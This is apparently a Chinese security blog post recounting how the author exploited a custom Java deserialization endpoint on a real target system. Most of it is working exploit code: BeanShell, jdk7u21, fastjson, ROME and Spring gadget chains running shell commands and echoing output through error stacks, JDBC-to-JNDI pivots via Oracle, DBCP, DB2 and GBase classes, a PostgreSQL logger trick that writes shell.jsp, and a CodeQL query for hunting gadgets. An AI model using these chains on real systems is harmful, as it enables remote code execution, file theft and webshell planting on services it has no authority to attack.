1. 自定义反序列化
在它的某个页面中,发现了自定义反序列化,这个页面好就好在它会返回报错堆栈的序列化数据,方便debug。
URLDNS探测结果如下。
cc31or321
ajw
JRE8u20
fastjson
windows
cb17
bsh20b4
DefiningClassLoader
Jdk7u21
看起来反序列化链很多,实际结果呢?用jdk7u21试一试,结果当然是失败了。我们可以解析序列化报错堆栈来看为什么失败。
赫然发现根本没有com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。
回过头来看反序列化链,jdk7u21和jre8u20要TemplatesImpl,fastjson和cb17本质是调getter,基本也需要TemplatesImpl,那么剩下的就是cc31or321/ajw/bsh20b4。
继续探索后发现这三个类都被ban了,那么CC系和CB系就别想了。
org.apache.commons.collections.map.LazyMap
org.apache.commons.collections.map.TransformedMap
org.apache.commons.beanutils.BeanComparator
2. Bsh反序列化链
自此只剩下了bsh20b4链,这也是最终答案,但是依旧有坑点需要解决。
Interpreter interpreter = new Interpreter();
String cmd = "calc";
String func = "isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");"
+ "compare(Object foo, Object bar) {"
+ "if(isWin){new java.lang.ProcessBuilder(new String[]{"cmd.exe","/c",""+cmd+""}).start();}"
+ "else{new java.lang.ProcessBuilder(new String[]{"/bin/bash","-c",""+cmd+""}).start();}"
+ "return new Integer(1);}";
interpreter.eval(func);
XThis xt = new XThis(interpreter.getNameSpace(), interpreter);
InvocationHandler handler = (InvocationHandler) getFieldValue(xt, "invocationHandler");
Comparator proxy = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),new Class[]{Comparator.class}, handler);
final PriorityQueue pq = new PriorityQueue();
pq.add(1);
pq.add(2);
setFieldValue(pq, "comparator", proxy);
得到的结果居然是
java.io.InvalidClassException: bsh.XThis; local class incompatible: stream classdesc serialVersionUID = -6803452281441498586, local class serialVersionUID = -5567781273343879209
尽管用的是同版本,依旧有serialVersionUID报错。首先我们得知道如何获取class的serialVersionUID,因为这玩意儿你直接反编译jar包,很多时候都看不到。
ObjectStreamClass osc1 = ObjectStreamClass.lookup(bsh.XThis.class);
System.out.println(osc1.getSerialVersionUID());
其次就是怎么将本地上的serialVersionUID改成一样,有两种办法。
第一种是直接在引用jar包的同时,复制一个完全一样的类,并且自定义serialVersionUID属性。
这样的话,第三方jar包的bsh.XThis类就会被覆盖掉。同理,这种办法也可以应用在你需要修改第三方jar包的情况下(比如iiop的nat问题)。但注意,如果是jdk自带类,是无法覆盖掉的,这个时候就需要用到第二种方法。
第二种,反射修改。
当然,由于serialVersionUID是final修饰,我们常用的setFieldValue是无法修改的。
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
以下是实战中可能会碰上的修改TemplatesImpl的sUID。
TemplatesImpl obj = new TemplatesImpl();
java.lang.reflect.Field sUID = obj.getClass().getDeclaredField("serialVersionUID");
sUID.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(sUID, sUID.getModifiers() & ~Modifier.FINAL);
sUID.set(obj, -3070939614679977597L);
System.out.print(getFieldValue(obj, "serialVersionUID"));
总而言之,当修改掉三处serialVersionUID之后,就能成功反序列化并执行命令了。此时由于无法用TemplatesImpl,只能用Bcel和DefineClass,再加上对方的环境不一定是tomcat,所以命令回显或者内存马并没有那么容易。但是这不是有序列化的堆栈回显吗?所以可以利用报错,轻松解析对方的返回包来达到命令回显的目的。考虑到对方jdk版本可能较低,bsh回显代码如下。
if (cmd.isEmpty()) {
cmd = "whoami";
}
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("foo");
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setExceptionTypes(new CtClass[]{pool.get("java.lang.Exception")});
constructor.setBody("{"
+ " String cmd = ""+cmd+"";rn"
+ " String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};rn"
+ " Process process = Runtime.getRuntime().exec(cmds);rn"
+ " java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();rn"
+ " java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");rn"
+ " String output = s.hasNext() ? s.next() : "";rn"
+ " output = "@@@@@\r\n"+output+"\r\n@@@@@";rn"
+ " throw new Exception(output);"
+ "}");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(50);//jdk1.6 52=jdk1.8
byte[] bs = clazz.toBytecode();
String base64 = base64_encode(bs);
Interpreter interpreter = new Interpreter();
String func =
"compare(Object foo, Object bar) {"
+ "new org.mozilla.javascript.DefiningClassLoader().defineClass("foo",new sun.misc.BASE64Decoder().decodeBuffer(""+base64+"")).newInstance();"
+ "return new Integer(1);"
+ "}";
不过需要注意,这样反序列化返回包提取信息有着被反制的风险。
3. 升级jdk7u21
后来发现有的目标将bsh版本升高了,返回
bsh.XThis$Handler; class invalid for deserialization
也就是说bsh.XThis$Handler不再支持反序列化,因此后续可能需要结合其他getter来利用。由于发现目标用的低版本JDK,因此jdk7u21+getConnection就是一种可能的组合。
我之前的一篇文章《从CommonsBeanutils说开去》中使用了cb链+getConnection,在jdk7u21中也可以这样用,先回顾下jdk7u21的代码。
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\test\TemplatesImplcmd.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl tempImpl = new TemplatesImpl();
setFieldValue(tempImpl, "_bytecodes", new byte[][]{bs});
setFieldValue(tempImpl, "_name", "TemplatesImpl");
setFieldValue(tempImpl, "_tfactory", new TransformerFactoryImpl());
HashMap hm = new HashMap();
Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
Permit.setAccessible(ctor);
InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });
setFieldValue(ih, "type", Templates.class);
Templates TemplatesProxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(), new Class[] {Templates.class}, ih);
LinkedHashSet lhs = new LinkedHashSet();
lhs.add(tempImpl);
lhs.add(TemplatesProxy);
setFieldValue(tempImpl, "_auxClasses", null);
setFieldValue(tempImpl, "_class", null);
hm.put("0DE2FF10", tempImpl);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(lhs);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
可以看的出来,jdk7u21本质上是往LinkedHashSet中放两个对象,一个是恶意类,一个是此类的接口的代理,然后通过反序列化链随机触发代理的一个方法。和CB链本质上执行任意getter一样,jdk7u21本质上就是执行接口的无参方法。如果有多个方法怎么办呢?测试下来发现会随机执行,如果运气比较差,有危害的方法不在第一个,就会直接抛错退出了。
如下图,Templates随机触发newTransformer和getOutputProperties,这两个都会RCE。
用jdk7多次执行如下代码也可以快速发现排第一个的方法是哪个。
Class clazz = Class.forName("javax.sql.RowSet");
Method[] methods = clazz.getMethods();
System.out.println(methods[0]);
// for (int i = 0; i < methods.length; i++) {
// System.out.println(methods[0]);
// }
具体原理如下。
https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q
而javax.sql.DataSource这个接口正好有getConnection()以触发jdbc,所以只需要找个实现了DataSource和Serializable接口的类就行。
在数据库相关jar包中,很容易找到这种类,之前我找到的是com.mysql.cj.jdbc.MysqlDataSource和oracle.jdbc.datasource.impl.OracleDataSource,但在目标环境中都无法使用。一是它没有mysql依赖,二是它jdk版本较低,而这两个类的代码要求高版本jdk。
在Oracle中很容易找到替代类,可以造成SSRF。
OracleConnectionPoolDataSource ods = new OracleConnectionPoolDataSource();
ods.setURL("jdbc:oracle:thin:@//127.0.0.1:1521/orcl");
ods.setUser("system");
ods.setPassword("123456");
HashMap hm = new HashMap();
Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
Permit.setAccessible(ctor);
InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });
setFieldValue(ih, "type", DataSource.class);
DataSource TemplatesProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih);
LinkedHashSet lhs = new LinkedHashSet();
lhs.add(ods);
lhs.add(TemplatesProxy);
hm.put("0DE2FF10", ods);
Oracle中还各有一个setter和一个getter可以造成jndi。
oracle.jdbc.rowset.OracleCachedRowSet obj = new OracleCachedRowSet();
obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
obj.getConnection();
oracle.jdbc.rowset.OracleJDBCRowSet obj2 = new OracleJDBCRowSet();
obj2.setDataSourceName("ldap://127.0.0.1:1389/exp");
obj2.setCommand("123");
后者曾在fastjson上使用过,前者可以本地环境测试成功,但实际用的时候会因为javax.sql.RowSetInternal接口方法太多,对方jdk环境第一个不是getConnection()导致报错。
OracleCachedRowSet obj = new OracleCachedRowSet();
obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
//obj.getConnection();
HashMap hm = new HashMap();
Constructor<?> ctor2 = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
Permit.setAccessible(ctor2);
InvocationHandler ih = (InvocationHandler)ctor2.newInstance(new Object[] { Override.class, hm });
setFieldValue(ih, "type", RowSetInternal.class);
RowSetInternal odsProxy = (RowSetInternal)Proxy.newProxyInstance(RowSetInternal.class.getClassLoader(), new Class[] {RowSetInternal.class}, ih);
LinkedHashSet lhs = new LinkedHashSet();
lhs.add(obj);
lhs.add(odsProxy);
hm.put("0DE2FF10", obj);
4. 其他getConnection
仅SSRF显然是完全不够的,使用URLDNS继续探测jndi常用类,有如下结果。
org_apache_naming_factory_BeanFactory
org_postgresql_Driver
oracle_jdbc_driver_OracleDriver
org_yaml_snakeyaml_Yaml
com_thoughtworks_xstream_XStream
org_apache_catalina_users_MemoryUserDatabaseFactory
org_apache_commons_dbcp_BasicDataSourceFactory
org_apache_catalina_UserDatabase
其中postgresql可供我们jdbc攻击,而commons-dbcp则可能提供类似oracle.ucp.jdbc.PoolDataSourceImpl这种封装jdbc的类。
首先可以想到的是在fastjson不出网解决方案之一的org.apache.tomcat.dbcp.dbcp.BasicDataSource,不过很遗憾它没有实现Serializable。
继而我们可以发散思维,在jackson的黑名单中寻找方案。
s.add("org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS");
s.add("org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource");
s.add("org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource");
其中PerUserPoolDataSource和SharedPoolDataSource都是InstanceKeyDataSource的子类,它们可以实现jndi。
InstanceKeyDataSource dbs = new SharedPoolDataSource();
//dbs = new PerUserPoolDataSource();
dbs.setDataSourceName("ldap://127.0.0.1:1389/deser:cck2:Y2FsYw==");
//dbs.getConnection();
HashMap hm = new HashMap();
Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
Permit.setAccessible(ctor);
InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });
setFieldValue(ih, "type", DataSource.class);
DataSource dbsProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih);
LinkedHashSet lhs = new LinkedHashSet();
lhs.add(dbs);
lhs.add(dbsProxy);
hm.put("0DE2FF10", dbs);
同时也存在sUID和依赖问题,使用commons-dbcp-1.2.jar/ commons-pool-1.2.jar/ commons-collections-3.1.jar即可。
但遗憾的是,本地测试没问题,实际漏洞利用的时候会报空指针。可能是因为低版本JDK的原因,而oldDS.pool是新生成的,无法控制。
于是将目光转向DriverAdapterCPDS,可以发现它实现javax.sql.ConnectionPoolDataSource,getPooledConnection()可以造成jdbc。
DriverAdapterCPDS dbs = new DriverAdapterCPDS();
dbs.setUrl("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp");
dbs.setDriver("org.postgresql.Driver");
dbs.setUser("root");
dbs.setPassword("123456");
//dbs.getPooledConnection();
HashMap hm = new HashMap();
Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
Permit.setAccessible(ctor);
InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });
setFieldValue(ih, "type", ConnectionPoolDataSource.class);
ConnectionPoolDataSource dbsProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih);
LinkedHashSet lhs = new LinkedHashSet();
lhs.add(dbs);
lhs.add(dbsProxy);
hm.put("0DE2FF10", dbs);
举一反三,还可以在postgresql中发现org.postgresql.ds.PGConnectionPoolDataSource,也实现了ConnectionPoolDataSource。
PGConnectionPoolDataSource ods = new PGConnectionPoolDataSource();
ods.setURL("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp");
ods.setUser("root");
ods.setPassword("123456");
HashMap hm = new HashMap();
Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
Permit.setAccessible(ctor);
InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });
setFieldValue(ih, "type", ConnectionPoolDataSource.class);
ConnectionPoolDataSource odsProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih);
LinkedHashSet lhs = new LinkedHashSet();
lhs.add(ods);
lhs.add(odsProxy);
hm.put("0DE2FF10", ods);
postgresql存在两个jdbc漏洞,在目标环境上可以使用吗?答案是不行,对方使用的是低版本postgresql,并不存在那两个漏洞。
5. gbase jdbc
目标存在国产数据库(魔改mysql)gbase,用法和mysql几乎完全一样,虽然数据库无法用load data local infile语句,但客户端依旧存在文件读取漏洞。
GBaseDataSource obj = new GBaseDataSource();
obj.setAllowLoadLocalInfile(true);
obj.setAllowUrlInLocalInfile(true);
obj.setMaxAllowedPacket(65536);
obj.setUser("root");
obj.setPassword("123456");
obj.setServerName("127.0.0.1");
obj.setPort(3307);
//obj.getConnection();
HashMap hm = new HashMap();
Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
Permit.setAccessible(ctor);
InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });
setFieldValue(ih, "type", DataSource.class);
DataSource odsProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih);
LinkedHashSet lhs = new LinkedHashSet();
lhs.add(obj);
lhs.add(odsProxy);
hm.put("0DE2FF10", obj);
6. db2 jdbc
可以看出来,辛辛苦苦找的链均因为各种意外无法RCE,于是在目标上又探测到了db2和mssql,其中db2是存在jdbc转jndi的。
Class.forName("com.ibm.db2.jcc.DB2Driver");
String DB_URL = "jdbc:db2://localhost:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/qqq;";
Connection conn = DriverManager.getConnection(DB_URL);
很容易在db2jcc.jar上找到符合条件的类也就是com.ibm.db2.jcc.DB2ConnectionPoolDataSource
DB2ConnectionPoolDataSource db2 = new DB2ConnectionPoolDataSource();
db2.setDriverType(4);
db2.setServerName("127.0.0.1");
db2.setLoginTimeout(10000);
db2.setPortNumber(5667);
db2.setUser("root");
db2.setPassword("123456");
db2.setDatabaseName("test");
db2.setClientRerouteServerListJNDIName("ldap://127.0.0.1:1389/qqq");
//db2.getPooledConnection();
HashMap hm = new HashMap();
Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
Permit.setAccessible(ctor);
InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });
setFieldValue(ih, "type", ConnectionPoolDataSource.class);
ConnectionPoolDataSource DataSourceProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih);
LinkedHashSet lhs = new LinkedHashSet();
lhs.add(db2);
lhs.add(DataSourceProxy);
hm.put("0DE2FF10", db2);
这条反序列化转jdbc转jndi注入链倒是很顺利,没出什么问题。
7. codeql
找链的过程中还歪到什么rmi/swing上去了,整个过程离不开codeql的帮助。简单写写大概就是这样的。
import java
abstract class Sink extends Method{}
abstract class Source extends SerializableMethod{}
class SerializableMethod extends Method {
SerializableMethod() {
this.getDeclaringType().getASupertype*() instanceof TypeSerializable
and not this.getDeclaringType().isAbstract() //不是接口或者抽象类
and this.getDeclaringType().getASupertype*().isAbstract()
and this.fromSource()
and this.isPublic()
and this.paramsString() = "()"
//and this.getDeclaringType().getASupertype*().hasQualifiedName("javax.sql", "DataSource")
}
}
class GetMethod extends Source {
GetMethod() {
(this.getName().matches("connect") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("connect"))
or
(this.getName().matches("get%Connection") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("get%Connection"))
or
(this.getName().matches("run") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("run"))
or
(this.getName().matches("execute") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("execute"))
}
}
from GetMethod source
select source,
source.getDeclaringType().getPackage().getName(),
source.getDeclaringType(),
source.getTotalNumberOfLines()
一些看起来能够造成危害实际上不行的方法。
bsh.util.AWTConsole.run() //java.io.PipedOutputStream无法序列化
javax.management.remote.rmi.RMIConnector.connect() //第一个方法不是它
oracle.jdbc.connector.OracleManagedConnectionFactory.getLogWriter() //第一个方法不是它
oracle.jdbc.rowset.OracleJDBCRowSet.execute() //第一个方法不是它
oracle.jdbc.pool.OraclePooledConnection.getConnection() //jdbc泄露用户名,但构造更加复杂,参考CVE-2021-2294
net.sourceforge.jtds.jdbcx.JtdsDataSource.getConnection() //jdbc泄露主机名,可写文件但无法控制内容。
8. fastjson+jndi
这里的fastjson完全不能用吗?当然不是,虽然fastjson原生反序列化链通常也是拿来触发TemplatesImpl.getOutputProperties(),但显然其他getter也可以。比如被我们抛弃的InstanceKeyDataSource。
InstanceKeyDataSource obj = new SharedPoolDataSource();
//obj = new PerUserPoolDataSource();
obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setFieldValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(obj,bd);
当然,我们更倾向于使用jdk原生getter而不是第三方jar包,原生getter中有一个非常出名的getter——com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()。
但接到fastjson链中却不太好用,因为fastjson会轮询所有getter,在执行我们想要的那个getter之前,会触发其他getter导致进入checkState()校验导致报错中断。
当然,也许可以捏造出符合条件的conn/ps/rs,但终究还是很麻烦。于是一个可以替代JdbcRowSetImpl的com.sun.jndi.ldap.LdapAttribute就能派上用场了。
Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});
ctor.setAccessible(true);
Attribute obj = (Attribute) ctor.newInstance("id");
setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:1389/");
setFieldValue(obj, "rdn", new CompositeName("exp"+"//b"));
obj.getAttributeDefinition();
本地测试如下。
String url = "ldap://127.0.0.1:1389/deser:fastjson2:Y2FsYw==";
String ldap_url = url.substring(0,url.lastIndexOf("/"));
String rdn = url.substring(url.lastIndexOf("/")+1);
System.out.print(ldap_url+"rn");
System.out.print(rdn+"rn");
Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});
ctor.setAccessible(true);
Attribute obj = (Attribute) ctor.newInstance("id");
setFieldValue(obj, "baseCtxURL", ldap_url);
setFieldValue(obj, "rdn", new CompositeName(rdn+"//b"));
//obj.getAttributeDefinition();
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setFieldValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(obj,bd);
不过遗憾的是BadAttributeValueExpException这个触发toString的核心类,在jdk1.7版本无法触发toString,因此fastjson和jackson的原生反序列化都只能用在jdk1.8或者以上版本。
有没有其他能够触发toString的办法呢?当然有,刚好有篇比较新的文章介绍了几个链。
https://xz.aliyun.com/t/12910
HotSwappableTargetSource & XString
依赖spring-aop.jar/spring-core.jar
String url = "ldap://127.0.0.1:1389/deser:cb18:Y2FsYw==";
String ldap_url = url.substring(0,url.lastIndexOf("/"));
String rdn = url.substring(url.lastIndexOf("/")+1);
System.out.print(ldap_url+"rn");
System.out.print(rdn+"rn");
Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});
ctor.setAccessible(true);
Attribute obj = (Attribute) ctor.newInstance("id");
setFieldValue(obj, "baseCtxURL", ldap_url);
setFieldValue(obj, "rdn", new CompositeName(rdn+"//b"));
//obj.getAttributeDefinition();
JSONObject jsonObject = new JSONObject();
jsonObject.put("g","m");
JSONObject jsonObject1 = new JSONObject();
jsonObject1.put("g",obj);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));
HashMap<Object,Object> hashMap = new HashMap<>();
String java_version = System.getProperty("java.version").substring(0,3);
double version = Double.parseDouble(java_version);
System.out.println(version);
if (version < 1.8) {
hashMap.put(v2,v2);
hashMap.put(v1,v1);
} else {
hashMap.put(v1,v1);
hashMap.put(v2,v2);
}
setFieldValue(v1,"target",jsonObject1);
HashMap hashMap2 = new HashMap();
hashMap2.put(obj, hashMap);
这条链有两个问题,一个是在jdk1.7时由于HashMap代码的变动,需要更改一下put顺序,另外一个就是它也存在和BadAttributeValueExpException一样的问题,fastjson版本过高就会经过checkAutoType导致报错。可以注意我最后用hashMap的处理。
9. ROME
https://xz.aliyun.com/t/12910
文章中还介绍了ROME链。
EqualsBean,依赖ROME<1.12.0
这条链如文章所述,有个反直觉的地方,JdbcRowSetImpl可以用,LdapAttribute用不了。LdapAttribute用不了的原因是LdapAttribute有个方法get(),会导致获取getter时报错——因为取不到getXX后面的XX。
而JdbcRowSetImpl可以用的原因是因为运气够好,恰好getDatabaseMetaData()前面的getter都不会报错(不是100%)。
详情可以断点com.sun.syndication.feed.impl.BeanIntrospector.getPDs()查看。
原文中给出的ROME链是这样的。
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
Object templatesimpl = null;
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
Field field = toStringBean.getClass().getDeclaredField("obj"); // 低版本(如1.0)此属性名为 _obj
field.setAccessible(true);
field.set(toStringBean,templatesimpl);
先要把Templates 改成JdbcRowSetImpl。
new ConstantTransformer(1)看起来依赖CC链,实际上不是必须的。这里只是为了实例化时不报错,后面会反射成Templatesimpl。顺便做obj/_obj的兼容性处理。
JdbcRowSetImpl obj = new JdbcRowSetImpl();
JdbcRowSetImpl obj2 = new JdbcRowSetImpl();
obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"1");
try {
setFieldValue(toStringBean, "obj", obj);
} catch (Exception e) {
setFieldValue(toStringBean, "_obj", obj);
}
由于ROME高版本和低版本包名不同,因此做反射处理。
JdbcRowSetImpl obj = new JdbcRowSetImpl();
JdbcRowSetImpl obj2 = new JdbcRowSetImpl();
obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
Class clazzToStringBean;
Class clazzEqualsBean;
try {
clazzToStringBean = Class.forName("com.rometools.rome.feed.impl.ToStringBean");
} catch (Exception e) {
clazzToStringBean = Class.forName("com.sun.syndication.feed.impl.ToStringBean");
}
try {
clazzEqualsBean = Class.forName("com.rometools.rome.feed.impl.EqualsBean");
} catch (Exception e) {
clazzEqualsBean = Class.forName("com.sun.syndication.feed.impl.EqualsBean");
}
Object toStringBean = clazzToStringBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(JdbcRowSetImpl.class,obj2);
Object equalsBean = clazzEqualsBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(clazzToStringBean,toStringBean);
//Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2);
//EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"1");
try {
setFieldValue(toStringBean, "obj", obj);
} catch (Exception e) {
setFieldValue(toStringBean, "_obj", obj);
}
这样已经可以本地测试成功了,但在 HashMap.put()时会有报错,尽管不影响执行。
在jdk1.7中是因为put时会触发toString,而toString会报错。如果将ToStringBean(JdbcRowSetImpl.class,obj2)中的obj2换成obj,就会提前触发jndi。正是靠这个原理,才能用readObject触发put触发toString。
想要不出现这个报错,绕过put()内的hash()即可,然后做jdk1.8和jdk1.7的兼容性处理。
JdbcRowSetImpl obj = new JdbcRowSetImpl();
JdbcRowSetImpl obj2 = new JdbcRowSetImpl();
obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
Class clazzToStringBean;
Class clazzEqualsBean;
try {
clazzToStringBean = Class.forName("com.rometools.rome.feed.impl.ToStringBean");
} catch (Exception e) {
clazzToStringBean = Class.forName("com.sun.syndication.feed.impl.ToStringBean");
}
try {
clazzEqualsBean = Class.forName("com.rometools.rome.feed.impl.EqualsBean");
} catch (Exception e) {
clazzEqualsBean = Class.forName("com.sun.syndication.feed.impl.EqualsBean");
}
Object toStringBean = clazzToStringBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(JdbcRowSetImpl.class,obj2);
Object equalsBean = clazzEqualsBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(clazzToStringBean,toStringBean);
//Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2);
//EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
try {
setFieldValue(hashMap, "modCount", 1);
Method addEntry = HashMap.class.getDeclaredMethod("addEntry", new Class[]{int.class,Object.class,Object.class,int.class});
addEntry.setAccessible(true);
addEntry.invoke(hashMap, new Object[]{-2122412728,equalsBean,"123",8});
} catch (Exception e) {
try {
Method putVal = HashMap.class.getDeclaredMethod("putVal", new Class[]{int.class,Object.class,Object.class,boolean.class,boolean.class});
putVal.setAccessible(true);
putVal.invoke(hashMap, new Object[]{-1997974365,equalsBean,"123",false,true});
} catch (Exception e2) {
hashMap.put(equalsBean,"123");
}
}
try {
setFieldValue(toStringBean, "obj", obj);
} catch (Exception e) {
setFieldValue(toStringBean, "_obj", obj);
}
原文始发于微信公众号(珂技知识分享):某个系统艰难的反序列化